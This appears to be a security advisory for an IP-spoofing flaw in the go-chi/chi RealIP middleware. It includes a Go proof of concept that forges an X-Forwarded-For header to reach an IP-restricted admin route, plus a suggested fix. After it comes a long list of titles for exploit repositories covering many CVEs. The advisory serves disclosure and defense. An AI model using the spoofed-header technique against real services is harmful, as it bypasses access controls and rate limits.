## Summary The `RealIP` middleware in `go-chi/chi` is vulnerable to IP spoofing because it blindly trusts the first (leftmost) element of the `X-Forwarded-For` HTTP header. This allows a remote attacker to bypass IP-based access control lists (ACLs) and rate-limiting mechanisms by providing a spoofed IP address in the header. ## Details In `middleware/realip.go`, the `realIP` function parses the `X-Forwarded-For` header and extracts the first comma-separated value: ```go func realIP(r *http.Request) string { // ... } else if xff := r.Header.Get(xForwardedFor); xff != "" { ip, _, _ = strings.Cut(xff, ",") } // ... } ``` Standard practice for `X-Forwarded-For` is that each proxy appends the client's IP to the end of the list. However, since the client can also provide this header, the leftmost values are untrusted. A client can send a header like `X-Forwarded-For: <spoofed_ip>, <actual_proxy_ip>`, and `go-chi/chi` will treat `<spoofed_ip>` as the source of the request. ## Proof of Concept (PoC) The following code demonstrates how an attacker can bypass an IP-based restriction. ```go package main import ( "fmt" "net/http" "net/http/httptest" "github.com/go-chi/chi/v5" "github.com/go-chi/chi/v5/middleware" ) func main() { r := chi.NewRouter() // Enable the vulnerable RealIP middleware r.Use(middleware.RealIP) // An endpoint that should be restricted to a specific administrator IP (1.2.3.4) r.Get("/admin/secret", func(w http.ResponseWriter, r *http.Request) { clientIP := r.RemoteAddr fmt.Printf("[Server] Request received from IP: %s\n", clientIP) // Simulate IP-based access control if clientIP == "1.2.3.4" { w.WriteHeader(http.StatusOK) w.Write([]byte("CONFIDENTIAL: The secret code is 42\n")) } else { w.WriteHeader(http.StatusForbidden) w.Write([]byte("Access Denied: You are not an administrator.\n")) } }) // --- Attack Simulation --- fmt.Println("--- PoC: IP Spoofing Attack on chi/middleware.RealIP ---") // 1. Normal Request (Should be denied) req1, _ := http.NewRequest("GET", "/admin/secret", nil) rr1 := httptest.NewRecorder() r.ServeHTTP(rr1, req1) fmt.Printf("[Client] Normal Request -> Status: %d, Body: %s", rr1.Code, rr1.Body.String()) // 2. Spoofed Request (Using X-Forwarded-For) // Attacker claims to be '1.2.3.4' req2, _ := http.NewRequest("GET", "/admin/secret", nil) req2.Header.Set("X-Forwarded-For", "1.2.3.4, 5.6.7.8") // 5.6.7.8 is a fake proxy IP rr2 := httptest.NewRecorder() r.ServeHTTP(rr2, req2) fmt.Printf("[Client] Spoofed Request -> Status: %d, Body: %s", rr2.Code, rr2.Body.String()) } ``` ## Impact An attacker can masquerade as any IP address. This can lead to: - **Bypass of Authentication/Authorization:** Accessing administrative panels or private APIs restricted by IP. - **Rate Limiting Evasion:** Circumbeting rate limiters that use `RemoteAddr` as a key. - **Log Forgery:** Causing incorrect IP addresses to be recorded in security logs. ## CWE - **CWE-290:** Authentication Bypass by Spoofing - **CWE-345:** Insufficient Verification of Data Authenticity ## CVSS Score - **CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N** (6.9 Moderate) ## Affected Versions - `github.com/go-chi/chi/v5` <= `v5.2.1` (and all previous versions) ## Recommendation 1. **Stop using `middleware.RealIP`** if you cannot guarantee that the incoming request headers are from a trusted source and have been sanitized by a proxy. 2. Implement a trust-based IP extraction mechanism that verifies the chain of proxies. 3. Use the `X-Forwarded-For` header by traversing it from **right to left** and stopping at the first IP address that is not in your list of trusted proxies. ## Suggested Fix A secure implementation of `RealIP` should allow developers to specify a list of trusted proxy IP ranges (CIDRs). Below is a conceptual example of how to fix this by traversing the `X-Forwarded-For` header from right to left: ```go func GetClientIP(r *http.Request, trustedProxies []net.IPNet) string { xff := r.Header.Get("X-Forwarded-For") if xff == "" { return r.RemoteAddr } ips := strings.Split(xff, ",") // Traverse from right to left for i := len(ips) - 1; i >= 0; i-- { ipStr := strings.TrimSpace(ips[i]) ip := net.ParseIP(ipStr) if ip == nil { continue } if !isTrustedProxy(ip, trustedProxies) { return ipStr } } return r.RemoteAddr } func isTrustedProxy(ip net.IP, trustedProxies []net.IPNet) bool { for _, network := range trustedProxies { if network.Contains(ip) { return true } } return false } ``` By providing a configuration like `middleware.RealIPWithConfig(Config{TrustedProxies: []string{"10.0.0.0/8"}})` , the middleware can safely identify the true client IP even in complex proxy environments.
PoC: CVE-2025-8110
PoC exploit for CVE-2025-8110
PoC: katana
Let's hijack our bootchain - CVE-2021-30327
PoC: CVE-2026-24418
OpenSTAManager v2.9.8 and earlier contain a critical Error-Based SQL Injection vulnerability in the bulk operations handler for the Scadenzario (Payment Schedule) module.
PoC: OpenSTAManager-RCE-Exploit-CVE-2026-38751
OpenSTAManager-RCE-Exploit-CVE-2026-38751
PoC: pagecache-lpe-containment-kit
Educational, defensive kit for two Linux page-cache-corruption LPEs (DirtyClone CVE-2026-43503, pedit COW CVE-2026-46331): hardening, detection, verification, seccomp + validation harness. Detection and prevention only — no exploit code. TLP:CLEAR.
PoC: By-Poloss..-..CVE-2026-12432-PoC
WP Full Stripe Free <= 8.4.3 - Missing Authorization
PoC: CVE-2026-43499
CVE-2026-43499 PoC
PoC: CVE-2026-20251
CVE-2026-20251 — Splunk Secure Gateway jsonpickle deserialization RCE (CVSS 8.8) | ReactiveZero Security Research
PoC: pdf.js-CVE-2024-4367
SCAN END POC THE CVE-2024-4367
PoC: CVE-2026-48908
CVE-2026-48908
PoC: CVE-2020-24186
Exploit para RCE (Remote Code Exec) CVE de plugin vulnerable en Wordpress WP-Discuz en versión 7.0.4
PoC: CVE-2026-56111
Proof of concept for CVE-2026-56111, an out-of-bounds write in the M421 G-code handler of Marlin Firmware
PoC: CVE-2023-43364-Searchor-RCE-Exploit
POC exploit via unsafe `eval()` usage in Searchor (≤ 2.4.2)
PoC: CVE-2026-46817
CVE-2026-46817
PoC: cve-2026-46331-audit
cve-2026-46331-audit script
PoC: CVE-2026-56782-Gorse-Auth-Bypass
CVE-2026-56782 — Gorse <0.5.10 unauthenticated DB dump/restore (admin_api_key fail-open). Lab + PoC, verified e2e.
PoC: cve-2026-0000-reference
NIST CVE-2026-0000 Keylogger Analysis
PoC: CVE-2026-48907
CVE-2026-48907 – Joomla JCE Unauthenticated Remote Code Execution (RCE)
PoC: CVE-2026-53753-Crawl4AI-RCE
CVE-2026-53753 — Crawl4AI <0.8.7 unauthenticated RCE (AST sandbox escape via gi_frame.f_back). Lab + PoC, verified e2e.
PoC: cve-2023-4911-exploit-optimized
Pure C exploit for CVE-2023-4911 (Looney Tunables). No Python required. Features multi-processing brute-forcing, dynamic calibration, and integrated ELF parser.
PoC: CVE_2024_1086_vulnerability_check
CVE-2024-1086 vulnerability
PoC: CVE-2026-43503
DirtyClone - local privilege escalation (LPE) proof-of-concept targeting a kernel/XFRM-related vulnerability described in the source as CVE-2026-43503
PoC: cve-2026-9082-drupal
drupal-postgresql-rce
PoC: graylog-cve-2024-24824-exploit
Proof-of-concept exploit for CVE-2024-24824 demonstrating how an arbitrary class loading primitive can be transformed into remote code execution on vulnerable Graylog deployments.
PoC: CVE-2026-55200
CVE-2026-55200 - Critical libssh2 Remote Code Execution Vulnerability
PoC: By-Poloss..-..CVE-2026-48939
iCagenda Unauthenticated File Upload to RCE
PoC: cve-2025-0133
CVE-2025-0133 Scanner | Palo Alto GlobalProtect XSS Checker
PoC: CVE-2026-22226
Proof of Concept for the CVE-2026-22226
PoC: CVE-2026-20253
POC for CVE-2026-20253
PoC: Joomla_CVE_2026_48907
cve-2026-48907 scanner
PoC: DirtyClone
Python Proof of Concept for DirtyClone (CVE-2026-43503) - Linux kernel LPE via page-cache corruption
PoC: WiseDelete
Windows utility that demonstrates user-mode interaction with the vulnerable WiseDelfile64.sys driver and uses CVE-2025-66680 to perform kernel-assisted file deletion.
PoC: CVE-2025-55182-React2Shell-RCE
React2Shell (CVE-2025-55182) PoC
PoC: CVE-2026-48908
Unauthenticated RCE PoC for CVE-2026-48908 SP Page Builder (Joomla) arbitrary file upload and remote code execution exploit with mass scaning support.
PoC: WiseDelete
A lightweight Windows utility demonstrating user-mode interaction with the vulnerable WiseDelfile64.sys driver using CVE-2025-66680 to perform kernel-assisted file deletion.
PoC: CVE-2026-23918-Double-free-Apache-httpd-mod_http2
Double-free in Apache httpd mod_http2 stream cleanup leading to pre-auth RCE
PoC: CVE-2018-18778
CVE-2018-18778 - ACME mini_httpd Arbitrary File Read
PoC: CVE-2023-0386-OverlayFS
Copy fake in-memory files to disk using overlayFS
PoC: CVE-2026-49048-JoomCCK-SQLi
CVE-2026-49048 — JoomCCK 6.4.0 Unauthenticated SQL Injection (CVSS 9.8)
PoC: crypto-lab-merkle-proofs
Browser-based Merkle tree demo — build a tree, generate inclusion proofs, recompute the root hash by hash, and replay the RFC 6962 second-preimage and CVE-2012-2459 attacks. Real SHA-256. No backend.
PoC: react2shell-exploit
React2Shell: CVE-2025-55182
PoC: CVE-2026-12485
CVE-2026-12485
PoC: DevHub-HTB-Walkthrough
Hack The Box - DevHub Machine Walkthrough (Medium Linux, CVE-2026-23744, Chisel Tunneling, Jupyter, Root Privilege Escalation)
PoC: CVE-2026-41179
POC for CVE-2026-41179
PoC: dirtyclone-exploit
CVE-2026-46331 — Linux Kernel Local Privilege Escalation TC pedit + IPsec TEE Page Cache Corruption · Affected kernels: ≤ 6.12.9
PoC: CVE-2026-27654
Обзор n-day уязвимости на русском языке.
PoC: CVE-2026-41940-PoC
CVE-2026-41940 authentication bypass vulnerability proof-of-concept
PoC: laravel-filemanager-unrestricted-upload
PoC for CVE-2025-56399 - Unrestricted File Upload leading to RCE in alexusmai/laravel-file-manager (≤3.3.1). Automates detection, CSRF extraction, and File Upload
PoC: DirtyClone
DirtyClone - local privilege escalation (LPE) proof-of-concept targeting a kernel/XFRM-related vulnerability described in the source as CVE-2026-43503
PoC: CVE-2025-69212-Authenticated-RCE-PoC
Automated PoC for CVE-2025-69212 - OpenSTAManager <=2.9.8 authenticated RCE
PoC: ffmpeg-jellyfix
patched ffmpeg-tools for jellyfin to patch CVE-2026-8461 aka PixelSmash
PoC: prefect-cve-2026-5366
PoC for CVE-2026-5366: git argument injection in Prefect's GitRepository leading to RCE on the worker.
PoC: CVE-2026-0073-Android-ADBD-bypass-POC_zh_CN
CVE-2026-0073-Android-ADBD-bypass-POC汉化版
PoC: CVE-2026-48907
CVE-2026-48907 is a CVSS 10.0 pre-auth RCE in Joomla Content Editor affecting all versions ≤ 2.9.99.4. The Grayxploit team breaks down the 3-weakness chain — missing auth, no extension validation, and an unsafe upload flag — that lets attackers pop a shell in 3 HTTP requests.
PoC: htb-orion-writeup
Hack The Box - Orion (Easy) | CVE-2025-32432 & CVE-2026-24061
PoC: CVE-2026-36834
Out-of-bounds array read in LibRaw
PoC: masta-cve-2026-48907
cve-2026-48907 scanner
PoC: CVE-2026-46331
CVE-2026-46331 - Draft
PoC: CVE-2026-8932
CVE-2026-8932
PoC: CVE-2025-58434-Flowiseai-Auth-Bypass-PoC
Flowiseai Flowise Auth Bypass Vulnerability Proof of Concept
PoC: CVE-2026-46331
CVE-2026-46331
PoC: CVE-2026-12415-or-CVE-2026-12416.py
CVE-2026-12415-or-CVE-2026-12416.py
PoC: By-Poloss..-..CVE-2026-39938
Cacti <= 1.2.30
PoC: smbghost
scanner for CVE-2020-0796
PoC: CVE-2026-26980-PoC
Ghost CMS Content API Blind SQL Injection
PoC: CVE-2026-46558
Plane’s V2 asset subsystem trusted workspace slugs and asset UUIDs without enforcing the right membership checks, which let one authenticated user read, copy, delete, and overwrite assets in other workspaces.
PoC: CVE-2026-45806
Penpot's remote image import let an authenticated file editor turn a normal media convenience feature into backend-origin SSRF because attacker-controlled URLs crossed into a redirect-following server fetch path without destination filtering.
PoC: CVE-2026-45806
Penpot's remote image import let an authenticated file editor turn a normal media convenience feature into backend-origin SSRF because attacker-controlled URLs crossed into a redirect-following server fetch path without destination filtering.
PoC: CVE-2026-42089
A local package installation helper trusted caller-supplied package names too much. In yeoman-environment, missing generators could be installed without user confirmation, turning attacker-controlled project metadata into a package-install and code-execution path.
PoC: CVE-2026-34207
The SSRF filter checked hostname text, but the actual destination was decided later by DNS. That gap let attacker-controlled Webhook URLs reach loopback, metadata, and private network targets.
PoC: CVE-2026-34213
A low-privileged Docmost user could supply a victim attachmentId to the generic upload endpoint and overwrite another page's stored attachment inside the same workspace.
PoC: CVE-2026-34212
Docmost accepted a javascript: URL inside an attachment node, preserved it through storage and rendering, and turned it back into a clickable anchor in the Docmost origin.
PoC: CVE-2026-33146
A public share looked clean in the page tree, but the search endpoint told a different story. In Docmost, restricted child pages hidden from public share viewers could still leak through public share search results.
PoC: CVE-2026-54807
CVE-2026-54807 WooCommerce Privilege Escalation ║ ║ Unauthenticated Admin Role Assignment via Reg. Form
PoC: metasploitable2-exploitation-metasploit
Full Metasploit exploitation walkthrough against Metasploitable2 — vsftpd backdoor, Samba CVE-2007-2447, UnrealIRCd backdoor, Netcat exfiltration, and credential cracking prep.
PoC: CVE-2026-8461
CVE-2026-8461
PoC: Amaranth-Project
CVE-2025-8088 exploitation chain + Quasar C2 multi-stage payload delivery
PoC: CVE-2026-13036-PoC
PoC for CVE-2026-13036 — Use-after-free in Blink WidgetBase::UpdateSurfaceAndScreenInfo (Chrome < 149.0.7827.197)
PoC: CVE-2026-24207-triton
PoC + analysis for CVE-2026-24207 / CVE-2026-24206 — NVIDIA Triton SageMaker & Vertex AI auth-restriction bypass + RCE chain
PoC: CVE-2026-26980-Ghost-CMS-Api
CVE-2026-26980 - Ghost CMS Content API SQL Injection
PoC: CVE-2026-43503
CVE-2026-43503
PoC: CVE-2026-55584
CVE-2026-55584 — phpSysInfo IP Allowlist Bypass
PoC: CVE-2023-45866---Blue-exploit
POC for CVE-2023-45866 affecting Latest Android devices.
PoC: CVE-2025-61155
CVE-2025-61155 — arbitrary process termination in GameDriverX64.sys (Tower of Fantasy anti-cheat). Original IDA Pro teardown, PoC, YARA, IOCs, mitigation.
PoC: CVE-2026-4253-Scanner
Non-destructive vulnerability scanner for NGINX HTTP/3 (ngx_http_v3_module). It ONLY performs a safe probe: opens an HTTP/3 (QUIC) connection, sends a single HEAD request and inspects the `Server` response header. It NEVER attempts to reopen a QPACK encoder stream or trigger the use-after-free.
PoC: CVE-2026-23111
Linux Kernel nf_tables Use-After-Free (CVE-2026-23111) — LPE PoC
PoC: CVE-2026-7574
CVE-2026-7574
PoC: cve-2019-9053-py3
Unauthenticated time-based blind SQL injection exploit for CMS Made Simple ≤ 2.2.9 (CVE-2019-9053), ported to Python 3.
PoC: CVE-2025-67038
CVE-2025-67038 - Draft
PoC: CVE-2026-53075poc
POC of CVE-2026-53075
PoC: kernel-exploit-dirtycow
Lab — Privilege Escalation via Dirty Cow CVE-2016-5195 | 4Geeks Academy
PoC: CVE-2021-29441
CVE-2021-29441 - Nacos Authentication Bypass
PoC: CVE-2021-22205
CVE-2021-22205 - GitLab Unauthenticated Remote Code Execution
PoC: C-test-2
Dependabot security automerge test - ejs CVE-2022-29078
PoC: CVE-2026-38526-POC
Proof of Concept of CVE-2026-38526 in Krayin CRM <= v2.2.x. Arbitrary File Upload leading to Remote Code Execution
PoC: vuln-ejs-critical
npm repo with ejs CVE-2022-29078 (CVSS 9.8, EPSS 32%) for Dependabot automerge testing
PoC: FreePBX-SQLi-RCE
CVE-2025-57819 FreePBX SQLi RCE PoC
PoC: CVE-2026-12416-CVE-2026-12417
Unauthenticated Account Takeover via Weak Password Reset Validation via 'reset_user_id' Parameter | Unauthenticated Privilege Escalation via Weak Password Reset Validation via 'reset_activation_code' Leading to Account Takeover
PoC: CVE-2022-37706
ROOT TOOL
PoC: React2Shell-PoC-CVE-2025-55182
Khai thác lỗ hổng bảo mật CVE-2025-55182
Get alerted for CVEs like this
Register your stack and get notified within minutes when a matching CVE drops.
Start monitoring free